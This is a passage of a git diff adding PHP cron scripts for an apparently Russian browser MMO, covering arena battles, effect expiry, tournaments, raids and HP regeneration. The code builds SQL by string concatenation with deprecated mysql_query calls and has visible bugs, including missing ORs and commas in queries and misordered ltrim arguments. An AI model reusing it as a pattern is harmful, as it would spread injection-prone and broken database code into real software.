LIMIT 1')); + ############## + mysql_query("INSERT INTO `bots` (`name`, `prototype`, `battle`, `hp`, `owner`) VALUES ('".$light['login']."', '".$light['id']."', '', '".$light['hp']."', '1')"); + $light['id_at'] = mysql_insert_id(); + mysql_query("INSERT INTO `bots` (`name`, `prototype`, `battle`, `hp`) VALUES ('".$dark['login']."', '".$dark['id']."', '', '".$dark['hp']."')"); + $dark['id_at'] = mysql_insert_id(); + ############## + $teams = array(); + $teams[$dark['id_at']][$light['id_at']] = array(0, 0, time()); + $teams[$light['id_at']][$dark['id_at']] = array(0, 0, time()); + mysql_query("INSERT INTO `battle` (`id`, `coment`, `teams`, `time_m`, `timeout`, `type`, `status`, `t1`, `t2`, `to1`, `to2`, `blood`, `aren_of`) VALUES (NULL, '', '".serialize($teams)."', '".time()."', '3', '1', '0', '".$dark['id_at']."', '".$light['id_at']."', '".time()."', '".time()."', '1', '1')"); + $id = mysql_insert_id(); + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE (`id` = {$dark['id_at']} OR `id` = {$light['id_at']}) LIMIT 2"); + $rr = "".nick3($dark['id_at'])." и ".nick3($light['id_at']).""; + addlog($id, "Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + mysql_query("UPDATE `users` SET `battle` = {$id}, `zayavka` = 0 WHERE (`id` = {$dark['id']} OR `id` = {$light['id']}) LIMIT 2"); + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=2'); + mysql_query('UPDATE `variables` SET `value` = "'.(time()+60*60*24*7).'" WHERE `var` = "arena_of_gods" LIMIT 1'); +} + +$st_ar['value'] -= 3600; +if(date("z-H-i") == date("z-H-i", $st_ar['value'])) { + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=3'); +} + +$komp_users = mysql_query("SELECT * FROM `users`, `online` WHERE `users`.`id` = `online`.`id` AND `online`.`date` >= ".(time()-60).""); +while($ku = mysql_fetch_array($komp_users)) { + $bns = 0; + $efs_bns = mysql_fetch_array(mysql_query('SELECT SUM(`hp`) AS `hps` FROM `effects` WHERE `owner` = "'.$ku['id'].'"')); + if($efs_bns['hps'] > 0) { + $bns = $efs_bns['hps']; + } + mysql_query("UPDATE `users` SET `maxhp` = (IFNULL((SELECT SUM(`ghp`) FROM `inventory` WHERE `dressed` = 1 AND `owner` = `users`.`id`),0) + (`users`.`vinos`*6)+$bns) WHERE `id` = '{$ku['id']}'"); +} + +mysql_query("UPDATE `users` SET `hp` = 0 WHERE `hp` < 0"); +mysql_query("UPDATE `users` SET `mana` = 0 WHERE `mana` < 0"); + +$its = mysql_query("SELECT `id`, `owner`, `name` FROM `inventory` WHERE `dressed` = 0 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."'))"); +while($it = mysql_fetch_array($its)) { + mysql_query("DELETE FROM `inventory` WHERE `id` = '".$it['id']."' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '".$it['owner']."' '\"".$it['name']."\" разрушился id:(cap".$it['id'].").', 1, '".time()."')"); +} + +$effs = mysql_query("SELECT * FROM `effects` WHERE `time` <= ".time()." AND `sleep` = 0"); +mysql_query("DELETE FROM `effects` WHERE `time` <= ".time()." AND `sleep` = 0"); +while($eff = mysql_fetch_array($effs)) { + switch($eff['type']) { + case 11: + mysql_query("UPDATE `users` SET `sila` = `sila`+'".$eff['sila']."', `lovk` = `lovk`+'".$eff['lovk']."', `inta` = `inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 12: + mysql_query("UPDATE `users` SET `sila` = `sila`+'".$eff['sila']."', `lovk` = `lovk`+'".$eff['lovk']."', `inta` = `inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 13: + mysql_query("UPDATE `users` SET `sila` = `sila`+'".$eff['sila']."', `lovk` = `lovk`+'".$eff['lovk']."', `inta` = `inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 14: + mysql_query("UPDATE `users` SET `sila` = `sila`+'".$eff['sila']."', `lovk` = `lovk`+'".$eff['lovk']."', `inta` = `inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 21: + mysql_query("UPDATE `users` SET `sila` = `sila`-'".$eff['sila']."', `lovk` = `lovk`-'".$eff['lovk']."', `inta` = `inta`-'".$eff['inta']."', `vinos` = `vinos`-'".$eff['vinos']."' WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 4: + mysql_query("UPDATE `users` SET `align` = '0' WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 7: + mysql_query("UPDATE `users` SET `maxhp` = (`maxhp`-200), `hp` = `maxhp` WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + case 1022: + mysql_query("UPDATE `users` SET `invis` = 0 WHERE `id` = '".$eff['owner']."' LIMIT 1"); + break; + } +} + +$hostel = mysql_query('SELECT `id`, `sleep` FROM `users` WHERE `sleep` != 0'); +while($pl = mysql_fetch_array($hostel)) { + if($pl['sleep'] <= time()) { + mysql_query('UPDATE `users` SET `sleep` = 0 WHERE `id` = "'.$pl['id'].'"'); + mysql_query('UPDATE `hostel` SET `sleeptime` = "'.(time()+60*60*6).'" WHERE `uid` = "'.$pl['id'].'"'); + $ef = mysql_query('SELECT `id`, `time`, `sleep` FROM `effects` WHERE `owner` = "'.$pl['id'].'" AND `sleep` != 0'); + while($ps = mysql_fetch_array($ef)) { + $tm = (time()+$ps['sleep']); + mysql_query('UPDATE `effects` SET `time` = "'.$tm.'", `sleep` = "0" WHERE `id` = "'.$ps['id'].'" AND `owner` = "'.$pl['id'].'"'); + } + } +} + +mysql_query('LOCK TABLES `inventory` WRITE, `variables` WRITE, `deztow_turnir` WRITE, `deztow_stavka` WRITE, `effects` WRITE, `deztow_charstams` WRITE, `deztow_gamers_inv` WRITE, `deztow_items` WRITE, `deztow_trap` WRITE, `online` WRITE'); +$turnirstart = mysql_fetch_array(mysql_query("SELECT `value`, `bs_art` FROM `variables` WHERE `var` = 'startbs' LIMIT 1")); +$turnirstart['value'] -= 900; + +if(date("z-H-i") == date("z-H-i", $turnirstart['value'])) + if($turnirstart['bs_art'] == 0) { + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=4'); + } elseif($turnirstart['bs_art'] == 1) { + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=4'); + } + + $tr = mysql_fetch_array(mysql_query("SELECT `id`, `type`, `winner`, `coin`, `start_time`, `log`, `endtime`, `active`, `winnerlog`, `art` FROM `deztow_turnir` WHERE `active` = TRUE LIMIT 1")); + $turnirstart = mysql_fetch_array(mysql_query("SELECT `value`, `bs_art` FROM `variables` WHERE `var` = 'startbs' LIMIT 1")); + $dd = mysql_fetch_array(mysql_query("SELECT COUNT(`kredit`) FROM `deztow_stavka` WHERE `owner` != 1254")); + + if($dd[0] < 2 && $turnirstart[0] <= time()) { + if($turnirstart['bs_art'] == 1) { + $bs_art = 0; + } elseif($turnirstart['bs_art'] == 0) { + $bs_art = 0; + } + mysql_query('UPDATE `variables` SET `value` = "'.(time()+60*60).'", `bs_art` = "'.$bs_art.'" WHERE `var` = "startbs" LIMIT 1'); + mysql_query("INSERT INTO `deztow_stavka` (`owner`, `kredit`, `time`) VALUES ('1254', '30', '".time()."')"); + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=5'); + } + + if(!$tr && $turnirstart[0] <= time() && $dd[0] >= 2) { + $minroom = 501; + $maxroom = 560; + + $data = mysql_query("SELECT `dt`.`owner` FROM `deztow_stavka` AS `dt`, `online` AS `o` WHERE (SELECT COUNT(`id`) FROM `effects` WHERE `effects`.`owner` = `dt`.`owner` AND (`type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14 OR `type` = 2 OR `type` = 3 OR `type` = 4 OR `type` = 202 OR `type` = 201 OR `type` = 21)) = 0 AND `o`.`id` = `dt`.`owner` AND `room` = 31 AND `o`.`date` >= '".(time()-300)."' ORDER BY `kredit` DESC, `dt`.`time` ASC LIMIT 50"); + $stavka = mysql_fetch_array(mysql_query("SELECT SUM(`kredit`)*0.7 FROM `deztow_stavka`")); + + while($row = mysql_fetch_array($data)) { + enter_bs($row[0]); + + $tec = mysql_fetch_array(mysql_query("SELECT `id`, `owner`, `name`, `sila`, `lovk`, `inta`, `vinos`, `intel`, `mudra`, `def` FROM `deztow_charstams` WHERE `owner` = '{$row['owner']}' AND `def` = '1' LIMIT 1")); + $usk = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".$row[0]."' LIMIT 1")); + + if(isset($tec['id'])) { + mysql_query("UPDATE `users` SET `sila` = '".$tec['sila']."', `lovk` = '".$tec['lovk']."', `inta` = '".$tec['inta']."', `vinos` = '".$tec['vinos']."', `intel` = '".$tec['intel']."', `stats` = 0, `noj` = 0, `mec` = 0, `topor` = 0, `dubina` = 0, `mfire` = 0, `mwater` = 0, `mair` = 0, `mearth` = 0, `mlight` = 0, `mgray` = 0, `mdark` = 0, `master` = '8', `maxhp` = '".($tec['vinos']*6)."', `hp` = '".($tec['vinos']*6)."', `level` = 7, `nextup` = 999999999 WHERE `id` = '".$usk['id']."' LIMIT 1"); + } else { + mysql_query("UPDATE `users` SET `sila` = '3', `lovk` = '3', `inta` = '3', `vinos` = '10', `intel` = '0', `stats` = 64, `noj` = 0, `mec` = 0, `topor` = 0, `dubina` = 0, `mfire` = 0, `mwater` = 0, `mair` = 0, `mearth` = 0, `mlight` = 0, `mgray` = 0, `mdark` = 0, `master` = '8', `maxhp` = '60', `hp` = '60', `level` = 7, `nextup` = 999999999 WHERE `id` = '".$usk['id']."' LIMIT 1"); + } + + $rum = rand($minroom, $maxroom); + $urs[$row['owner']] = $rum; + $i++; + if($i > 1) { $lors .= ", "; } + $lors .= nick3($row['owner']); + } + + undressall(233); + undressall(234); + undressall(235); + + mysql_query("DELETE FROM `inventory` WHERE `owner` = 233"); + mysql_query("DELETE FROM `inventory` WHERE `owner` = 234"); + mysql_query("DELETE FROM `inventory` WHERE `owner` = 235"); + $rums = rand($minroom, $maxroom); + mysql_query("UPDATE `users` SET `in_tower` = 1, `chattime` = '999999999999', `room` = '".$rums."' WHERE `id` = '233' LIMIT 1"); + mysql_query("UPDATE `users` SET `in_tower` = 1, `chattime` = '999999999999', `room` = '".$rums."' WHERE `id` = '234' LIMIT 1"); + mysql_query("UPDATE `users` SET `in_tower` = 1, `chattime` = '999999999999', `room` = '".$rums."' WHERE `id` = '235' LIMIT 1"); + mysql_query("UPDATE `online` SET `room` = '".$rums."', `date` = '999999999999' WHERE `id` = '233' LIMIT 1"); + mysql_query("UPDATE `online` SET `room` = '".$rums."', `date` = '999999999999' WHERE `id` = '234' LIMIT 1"); + mysql_query("UPDATE `online` SET `room` = '".$rums."', `date` = '999999999999' WHERE `id` = '235' LIMIT 1"); + echo mysql_error(); + $i++; + $lors .= ", ".nick3(233); + $lors .= ", ".nick3(234); + $lors .= ", ".nick3(235); + $lors .= ltrim(",", $lors); + + mysql_query("TRUNCATE TABLE `deztow_items`"); + $shmots = array("1", "1", "92", "92", "93", "93", "19", "19", "20", "20", "20", "23", "23", "24", "14", "87", "87", "6", "6", "17", "17", "17", "17", "11", "11", "12", "12", "12", "28", "28", "43", "43", "36", "36", "36", "37", "37", "37", "38", "38", "38", "50", "50", "57", "52", "52", "51", "51", "48", "48", "47", "47", "49", "49", "59", "59", "60", "60", "61", "61", "63", "64", "64", "65", "65", "66", "66", "68", "68", "69", "69", "72", "72", "4", "5", "79", "79", "80", "76", "75", "75", "94", "94", "95", "95", "82", "91", "91", "34", "34", "86", "86", "86", "9", "9", "101", "101", "101", "101", "101", "97", "97", "97", "97", "100", "100", "100", "100", "171", "171", "171", "171", "103", "103", "103", "104", "105", "105", "106", "106", "107", "107", "108", "108", "109", "110", "111", "112", "112", "113", "113", "119", "364", "284", "284", "284", "284", "284", "285", "285", "285", "285", "286", "286", "286", "286"); + while($sh = array_shift($shmots)) { + $shopid = mysql_fetch_array(mysql_query("SELECT `id`, `name`, `img` FROM `shop` WHERE `id` = '".$sh."' LIMIT 1")); + if(isset($shopid['id'])) { + mysql_query("INSERT `deztow_items` (`iteam_id`, `name`, `img`, `room`) VALUES ('".$shopid['id']."', '".$shopid['name']."', '".$shopid['img']."', '".rand($minroom, $maxroom)."')"); + } + } + + $log = ''.date("d.m.y H:i").' Начало турнира. Участники : '.$lors.'
    '; + $end = (time() + 21600); + mysql_query("INSERT `deztow_turnir` (`type`, `winner`, `coin`, `start_time`, `log`, `endtime`, `active`) VALUES ('".rand(1, 7)."', '', '".$stavka[0]."', '".time()."', '".$log."', '".$end."', '1')"); + + foreach($urs as $row => $rum) { + mysql_query("UPDATE `users` SET `in_tower` = 1, `room` = '".$rum."' WHERE `id` = '".$row."'"); + mysql_query("UPDATE `online` SET `room` = '".$rum."' WHERE `id` = '".$row."' LIMIT 1"); + } + } + + $tur_data = mysql_fetch_array(mysql_query("SELECT `id`, `type`, `winner`, `coin`, `start_time`, `log`, `endtime`, `active`, `winnerlog`, `art` FROM `deztow_turnir` WHERE `active` = '1' LIMIT 1")); + if($tur_data['endtime'] < time() && $tur_data['id']) { + $list = mysql_query("SELECT * FROM `users` WHERE `in_tower` = 1"); + + while($u = mysql_fetch_array($list)) { + undressall($u['id']); + $rep = mysql_query("SELECT * FROM `inventory` WHERE `owner` = '".$u['id']."' AND `bs` = 1"); + while($r = mysql_fetch_array($rep)) { + mysql_query("INSERT `deztow_items` (`iteam_id`, `name`, `img`, `room`) VALUES ('".$r['prototype']."', '".$r['name']."', '".$r['img']."', '".$u['room']."')"); + } + mysql_query("DELETE FROM `inventory` WHERE `owner` = '".$u['id']."' AND `bs` = 1"); + + $rep = mysql_query("SELECT `id_item`, `owner` FROM `deztow_gamers_inv` WHERE `owner` = '".$u['id']."'"); + while($r = mysql_fetch_array($rep)) { + mysql_query("UPDATE `inventory` SET `owner` = '".$u['id']."' WHERE `owner` = '0' AND `id` = '".$r['id_item']."'"); + } + + $tec = mysql_fetch_array(mysql_query("SELECT `id`, `owner`, `name`, `sila`, `lovk`, `inta`, `vinos`, `intel`, `maxhp`, `money`, `exp`, `mudra`, `stats`, `nextup`, `level`, `align`, `master`, `noj`, `mec`, `topor`, `dubina`, `mlight`, `mgray`, `mdark` FROM `deztow_realchars` WHERE `owner` = '{$u['id']}' LIMIT 1")); + if(isset($tec['id'])) { + $u = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '{$u['id']}' LIMIT 1")); + $stats = $tec['stats']; + $master = $tec['master']; + mysql_query("UPDATE `users` SET `sila` = '".$tec['sila']."', `lovk` = '".$tec['lovk']."', `inta` = '".$tec['inta']."', `vinos` = '".$tec['vinos']."', `hp` = '".($tec['vinos']*6)."', `maxhp` = '".($tec['vinos']*6)."', `intel` = '".$tec['intel']."', `stats` = '".$tec['stats']."', `nextup` = '".$tec['nextup']."', `level` = '".$tec['level']."', `align` = '".$tec['align']."', `noj` = '".$tec['noj']."', `mec` = '".$tec['mec']."', `topor` = '".$tec['topor']."', `dubina` = '".$tec['dubina']."', `mlight` = '".$tec['mlight']."', `mgray` = '".$tec['mgray']."', `mdark` = '".$tec['mdark']."', `master` = '".$tec['master']."' WHERE `id` = '".$u['id']."' LIMIT 1"); + mysql_query("DELETE FROM `deztow_realchars` WHERE `owner` = '{$u['id']}'"); + + $eff = mysql_fetch_array(mysql_query("SELECT * FROM `effects` WHERE `owner` = '".$u['id']."' AND (`type` = 1 `type` = 2 `type` = 3 `type` = 4 `type` = 11 OR `type` = 12 OR `type` = 13 OR `type` = 14 `type` = 21 `type` = 201 `type` = 202)")); + mysql_query("DELETE FROM `effects` WHERE `owner` = '".$u['id']."' AND `type` != 1 AND `type` != 2 AND `type` != 3 AND `type` != 4 AND `type` != 5 AND `type` != 6 AND `type` != 11 AND `type` != 12 AND `type` != 13 AND `type` != 14"); + + if(isset($tec['id'])) { + mysql_query("UPDATE `users` SET `sila` = (`sila`-'".$eff['sila']."'), `lovk` = (`lovk`-'".$eff['lovk']."'), `inta` = (`inta`-'".$eff['inta']."'), `maxhp` = (`maxhp`-'".$eff['hp']."') WHERE `id` = '".$eff['owner']."' LIMIT 1"); + } + + if($u['id'] != 233 && $u['id'] != 234 && $u['id'] != 235) { + settravma($u['id'], 100, 86400, 1); + } + get_out($u['id']); + mysql_query("UPDATE `users` SET `in_tower` = 0, `room` = '31' WHERE `id` = '".$u['id']."' LIMIT 1"); + mysql_query("UPDATE `online` SET `room` = '31' WHERE `id` = '".$u['id']."' LIMIT 1"); + } + } + mysql_query('UPDATE `deztow_turnir` SET `winner` = \'NO!\', `winnerlog` = \'Ничья\', `endtime` = '.time().', `active` = 0, `log` = CONCAT(`log`,\''."Турнир закончен по тайм-ауту. Победителя нет!
    ".'\') WHERE `active` = TRUE LIMIT 1'); + + $turnirstart = mysql_fetch_array(mysql_query("SELECT `value`, `bs_art` FROM `variables` WHERE `var` = 'startbs' LIMIT 1")); + if($turnirstart['bs_art'] == 1) { + $bs_art = 0; + } elseif($turnirstart['bs_art'] == 0) { + $bs_art = 0; #1 + } + $times = (time() + 7200); + mysql_query("UPDATE `variables` SET `value` = '".$times."', `bs_art` = '".$bs_art."' WHERE `var` = 'startbs' LIMIT 1"); + mysql_query("TRUNCATE TABLE `deztow_stavka`"); + mysql_query("TRUNCATE TABLE `deztow_gamers_inv`"); + mysql_query("TRUNCATE TABLE `deztow_items`"); + mysql_query("TRUNCATE TABLE `deztow_trap`"); +} +mysql_query('UNLOCK TABLES'); +?> \ No newline at end of file diff --git a/cron2.php b/cron2.php new file mode 100644 index 0000000..fb82376 --- /dev/null +++ b/cron2.php @@ -0,0 +1,1016 @@ +"1","1"=>"1","2"=>"2"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `align`='2' OR `align`='8.31';"); + $abil=array("0"=>"3","1"=>"0","2"=>"0"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `level`='7' AND `align`='6';"); + $abil=array("0"=>"3","1"=>"2","2"=>"0"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `level`='8' AND `align`='6';"); + $abil=array("0"=>"3","1"=>"2","2"=>"1"); + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `level`>='9' AND `align`='6';"); + for($i=0;$i<10;$i++) $abil[$i]=9; + mysql_query("UPDATE `users` SET `abil`='".serialize($abil)."' WHERE `align`>'7' AND `align`<'8';"); + //обнуляем диггеров + mysql_query("UPDATE digger SET count_dig='0',count_guard='0';"); + //обнуляем подарки + mysql_query("UPDATE `users` SET `podarokAD`='0';"); + //обнуляем реферала месяца + if(date("d")=="01") + { + mysql_query("UPDATE variables SET value='{$tm}' WHERE var='ref_month';"); + mysql_query("UPDATE variables SET value='0' WHERE var='ref_m_id';"); + } + //обнуляем реферала недели + if(date("N")=="7") + { + mysql_query("UPDATE variables SET value='{$tm}' WHERE var='ref_week';"); + mysql_query("UPDATE variables SET value='0' WHERE var='ref_w_id';"); + } + //обнуляем парк + mysql_query("UPDATE `cit_park` SET `counter`=0,`bots`='',`room`=0;"); + //задаем рейд на замок + $cc_time=$tm+rand(60*60*14,60*60*14.5); + mysql_query("UPDATE variables SET value='{$cc_time}' where var='cc_time';"); + +} +if(date("H-i")=="09-00") +{ + //задаем рейд на ЦХ - 10-11 + $ch_time=$tm+rand(60*60*1,60*60*2); + mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';"); +} +//задаем рейд утром +if(date("H-i")=="10-00") +{ + //задаем рейд на город + $raid_time=$tm+rand(60*60*1.5,60*60*2.5); + mysql_query("UPDATE variables SET value='{$raid_time}' where var='raid_on_city';"); +} +if(date("H-i")=="20-00") +{ + //задаем рейд на ЦХ - 21-22 + $ch_time=$tm+rand(60*60*1,60*60*2); + mysql_query("UPDATE variables SET value='{$ch_time}' where var='cit_haos_time';"); + +} + +//берем дату и время Замка Мэра +if(date("z-H-i")==date("z-H-i",$c_castle['value'])) +{ + $c_castle=mysql_query("SELECT `value` FROM variables WHERE var='cc_time' LIMIT 1;"); + // AddChatSystem('Начинается прием заявок на владение Замком Мэра! Начало боя через 15 минут.'); +} +//кто нападает +$cca=$c_castle['value']+930; +if(date("z-H-i")==date("z-H-i",$cca)) +{ + $cc_own=mysql_fetch_array(mysql_query("SELECT `value` FROM variables WHERE var='castle_owner' LIMIT 1;")); + $cc_k=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$cc_own['value']}' LIMIT 1;")); + $cc_att=mysql_fetch_array(mysql_query("SELECT `value` FROM variables WHERE var='castle_att' LIMIT 1;")); + $cc_a=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$cc_att['value']}' LIMIT 1;")); + if($cc_own['value']>0 && $cc_att['value']>0) {AddChatSystem('Клан '.$cc_a['name'].' готовится к битве за Замок Мэра с кланом '.$cc_k['name'].'! Начало боя через 1 минуту!');} + elseif($cc_own['value']>0 && $cc_att['value']==0) {AddChatSystem('Никто не осмелился оспорить права клана '.$cc_a['name'].' на Замок Мэра');} + elseif($cc_own['value']==0 && $cc_att['value']>0) {AddChatSystem('Клан '.$cc_k['name'].' готовится к битве за Замок Мэра с силами Хаоса! Начало боя через 1 минуту!');} + elseif($cc_own['value']==0 && $cc_att['value']==0) {AddChatSystem('Никто не осмелился отбить у сил Хаоса Замок Мэра');} +} +//берем дату-время рейда +$raid_t=mysql_fetch_array(mysql_query("SELECT * FROM variables WHERE var='raid_on_city' limit 1;")); +$ch_t=mysql_fetch_array(mysql_query("SELECT * FROM `variables` WHERE `var` = 'cit_haos_time' LIMIT 1;")); +//берем дату-время ЦХ +$raid_r=date("r",$raid_t['value']); +$ch_r=date("r",$ch_r['value']); + $zay_dub=mysql_fetch_array(mysql_query("SELECT * FROM zayavka WHERE `team1` LIKE '1000%' limit 1;")); +//рейд на город +if(date("H-i")==date("H-i",$raid_t['value']) && !$zay_dub['id']>0) +{ + mysql_query("UPDATE variables SET value='2' where var='raid_on_status';"); +} +//рейд на ЦХ +if(date("z-H-i")==date("z-H-i",$ch_t['value'])) +{ + mysql_query("DELETE FROM `cit_haos_status`;"); + mysql_query("DELETE FROM `cit_haos_var`;"); + + // AddChatSystem('Начинается прием заявок в рейд на Цитадель Хаоса! Начало рейда через 15 минут.'); +} +// hp operations + + //комплекты - костыль + $komp_users = mysql_query("SELECT * FROM `users`,`online` WHERE `users`.`id`=`online`.`id` AND `online`.`date` >= ".(time()-60).";"); + while($ku=mysql_fetch_array($komp_users)) + { + $kompl_raw=mysql_query("SELECT * FROM inventory where owner=".$ku['id']." AND dressed=1"); + + $items_on_user=array(); + $set_id_wear=array(); + $kompl_ghp=0; + $kompl_gmana=0; + while ($kompl=mysql_fetch_array($kompl_raw)) + { + $items_on_user[]=$kompl['prototype']; + }; + $sets_raw=mysql_query("SELECT * FROM item_sets;"); + while ($set_items=mysql_fetch_array($sets_raw)) + { + $kompl_full=1; + $in_set=explode(',',$set_items['prot_id']); + foreach($in_set as $tmp_set) + if (!in_array($tmp_set,$items_on_user)) + {$kompl_full=0;} + if ($kompl_full==1) $set_id_wear[]=$set_items['set_id']; + + }; + foreach($set_id_wear as $s) + { + $items_raw=mysql_fetch_array(mysql_query("SELECT `ghp`,`gmana` FROM item_sets where set_id='{$s}' limit 1;")); + $kompl_ghp+=$items_raw['ghp']; + $kompl_gmana+=$items_raw['gmana']; + }; + if(!$kompl_ghp) $kompl_ghp=0; + if(!$kompl_gmana) $kompl_gmana=0; + mysql_query("UPDATE `users` SET `maxhp` = (IFNULL((SELECT SUM(`ghp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.vinos*6)+'{$kompl_ghp}') WHERE `id`='{$ku['id']}';"); + mysql_query("UPDATE `users` SET `maxmana` = (IFNULL((SELECT SUM(`gmp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.mudra*10)+'{$kompl_gmana}') WHERE `id`='{$ku['id']}';"); + } + + //комплекты * + //mysql_query("UPDATE `users` SET `maxmana` = (IFNULL((SELECT SUM(`gmp`) FROM `inventory` WHERE dressed=1 AND owner = `users`.id),0) + (users.mudra*10));"); + mysql_query("UPDATE `users` SET `hp` = '0' WHERE `hp` < '0' "); + mysql_query("UPDATE `users` SET `mana` = '0' WHERE `mana` < '0' "); + // ломаем шмот + $its = mysql_query("SELECT `id`,`owner`,`name` FROM `inventory` WHERE `dressed` = 0 AND ((`maxdur` <= `duration`) OR (`dategoden` > 0 AND `dategoden` <= '".time()."'));"); + while($it = mysql_fetch_array($its)) + { + //destructitem($it['id']); + mysql_query("DELETE FROM `inventory` WHERE `id` = '".$it['id']."' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','\"".$it['name']."\" разрушился id:(cap".$it['id'].").',1,'".time()."');"); + } + // травмы и хаос + $effs = mysql_query("SELECT * FROM `effects` WHERE `time` <= ".time().";"); + mysql_query("DELETE FROM `effects` WHERE `time` <= ".time().";"); + while($eff = mysql_fetch_array($effs)) { + switch ($eff['type']) + { + case 11: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + //deltravma($eff['id']); + break; + case 12: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 13: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 14: + mysql_query("UPDATE `users` SET `sila`=`sila`+'".$eff['sila']."', `lovk`=`lovk`+'".$eff['lovk']."', `inta`=`inta`+'".$eff['inta']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 21: + mysql_query("UPDATE `users` SET `sila`=`sila`-'".$eff['sila']."', `lovk`=`lovk`-'".$eff['lovk']."', `inta`=`inta`-'".$eff['inta']."', `vinos`=`vinos`-'".$eff['vinos']."' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + case 4: + mysql_query("UPDATE `users` SET `align`='0' WHERE `id` = '".$eff['owner']."' LIMIT 1;"); + break; + } + } + + + $data = mysql_query("SELECT `id`, `fullhptime` FROM `users` WHERE `hp` < `maxhp` AND `battle` = 0;"); + while($user = mysql_fetch_array($data)) { + if ((time()-$user[1])/60 > 0) + { + mysql_query("UPDATE `users` SET `hp` = `hp`+((".time()."-`fullhptime`)/60)*(`maxhp`/20), `fullhptime` = ".time()." WHERE `hp` < `maxhp` AND `id` = '".$user[0]."' LIMIT 1;"); + } + } + $data = mysql_query("SELECT `id`, `fullmptime` FROM `users` WHERE `mana` < `maxmana` AND `battle` = 0;"); + while($user = mysql_fetch_array($data)) { + if ((time()-$user[1])/60 > 0 && $user[1]) + { + mysql_query("UPDATE `users` SET `mana` = `mana`+((".time()."-`fullmptime`)/60)*(`maxmana`/30), `fullmptime` = '".time()."' WHERE `id` = '".$user[0]."' LIMIT 1;"); + } + } + mysql_query("UPDATE `users` SET `hp` = `maxhp`, `fullhptime` = ".time()." WHERE `hp` > `maxhp` AND `battle` = 0;"); + mysql_query("UPDATE `users` SET `mana` = `maxmana`, `fullmptime` = ".time()." WHERE (`mana` > `maxmana` OR `fullmptime` = 0) AND `battle` = 0;"); + + //start Haos Match - disabled + $hm_ok=array(); + /*$hm_ongoing=mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var`='haos_match';")); + $hm_ongoing=unserialize($hm_ongoing['value']); + + if($hm_ongoing) + foreach($hm_ongoing as $lvl=>$hm) + { + $check_win=mysql_fetch_array(mysql_query("SELECT `win` FROM `battle` WHERE `id`='{$hm}' LIMIT 1;")); + + if(empty($check_win) || $check_win['win']==1 || $check_win['win']==2 || $check_win['win']==0) $hm_ok[$lvl]=1; + else $hm_ok[$lvl]=0; + } + else*/ + { + $hm_ok['7']=1; + $hm_ok['8']=1; + $hm_ok['9']=1; + $hm_ok['10']=1; + $hm_ok['11']=1; + $hm_ok['12']=1; + } + + /*echo("
    ");
    +     print_r($hm_ok);
    +     echo("
    ");*/ + + if(date("i")%20==0) //%15==0 + { + + + $haos_match=array(); + foreach($hm_ok as $lvl=>$flag) + if($flag==1) + { + mysql_query("INSERT INTO `zayavka` + (`start`, `timeout`, `t1c`, `t2c`, `type`, `level`, `coment`, `team1`, `stavka`, `t1min`, `t2min`, `t1max`, `t2max`,`podan`,`blood`) values + (".(time()+5*60).",5,50,50,2,4,'Бой с силами Хаоса {$lvl}','1001;','',49,{$lvl}, 50, {$lvl}, '".date("H:i")."', '0');"); + $haos_match[$lvl]=mysql_insert_id(); + } + + mysql_query("UPDATE `variables` SET `value`='".serialize($haos_match)."' WHERE `var`='haos_match_zay';"); + //AddChatSystem('Силы Хаоса вызывают бойцов клуба 7-12 уровней на поединок! Начало боя через 5 минут в групповых боях '); + } + + + //////Запускаем ХАОТИК + +$xaot_time = mysql_fetch_assoc(mysql_query("select * from `variables` where `var`='xaot_create' LIMIT 1")); +if($xaot_time['value'] < time()){ + + mysql_query("INSERT INTO `zayavka` (`start`, `timeout`, `t1c`, `t2c`, `type`, `level`, `coment`, `team1`, `stavka`, 